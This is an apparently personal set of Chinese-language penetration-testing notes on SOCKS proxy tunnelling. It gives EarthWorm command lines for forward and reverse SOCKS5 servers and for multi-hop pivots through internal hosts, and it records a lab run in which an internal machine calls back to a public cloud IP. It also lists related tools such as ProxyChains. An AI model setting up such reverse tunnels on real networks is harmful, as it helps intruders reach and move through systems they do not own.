介绍:
- 服务器在内网中,可以任意访问外部网络。
- 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
- 服务器在内网中,对外只开放了部分端口,且服务器不能访问外部网络SOCKS是一种代理服务,可以简单地将一端的系统连接另一端,SOCKS包括多种协议,包括HTTP、FTP等。SOCKS4只支持TCP协议,SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。
一、常用SOCKS代理工具: EarthWorm、reGeorg、SocksCAP64、Proxifier、ProxyChains(vi /etc/proxychains修改socks)、sSocks、Frp 一、EW的使用 下载:https://github.com/idlefire/ew
正向 SOCKS v5 服务器:
被gongji者执行:ew -s ssocksd -l 888
反向 SOCKS5服务器:
云服务器上执行:ew -s rcsocks -l 1008 -e 888
web服务器:ew -s rssocks -d 192.168.253.16 -e 888
(1)二级网络环境(a) 环境: 假设有如下机器 A:双网卡,有公网IP,只能访问内网的B主机 B:只能访问内网资源,无法访问wai网
B执行:ew_for_Win.exe -s ssocksd -l 888
A执行:ew_for_Win.exe -s lcx_tran -l 1080 -f 10.10.3.6 -g 888
(2)二级网络环境(b) 环境: A:无公网IP,可以访问wai网,无法访问内网资源 B:只能访问内网资源,无法访问wai网云服务器:ew -s lcx_listen -l 1080 -e 888
B:ew -s ssocksd -l 999
A:ew -s lcx_slave -d云服务器的IP地址 -e 888 -f B主机 -g 999
(3)三级网络环境(多级代理) 环境: A:无公网IP,可以访问wai网 B:只能访问内网资源,无法访问wai网,只能被A访问 C:可以被B访问并能访问核心区域
云服务器:ew -s rcsocks -l 1080 -e 888
A:ew -s lcx_slave -d 云服务器 -e 888 -f B主机 -g 999
B:ew -s lcx_listen -l 999 -e 777
C:ew -s rssocks -d B主机 -e 777
二、SocksCap64 安装使用教程参考:
https://blog.augustdoit.men/sockscap64/
三、proxychains
vi /etc/proxychains4.conf
proxychains firefox
多种代理的方法:
https://a515d550.wiz06.com/wapp/pages/view/share/s/2B5tlg0f1N7F2f06tg2DiS-v2egA0a082QcX2n1O272dafyf
ew实验:
- 在内网启动socks5服务并反弹到云服务器的888端口执行
ew -s rssocks -d 82.156.12.125 -e 888
- 在公网云服务器上添加一个转接隧道再把1008端口收到的代理请求转发给888执行:
ew -s rcsocks -l 1008 -e 888
成功!!!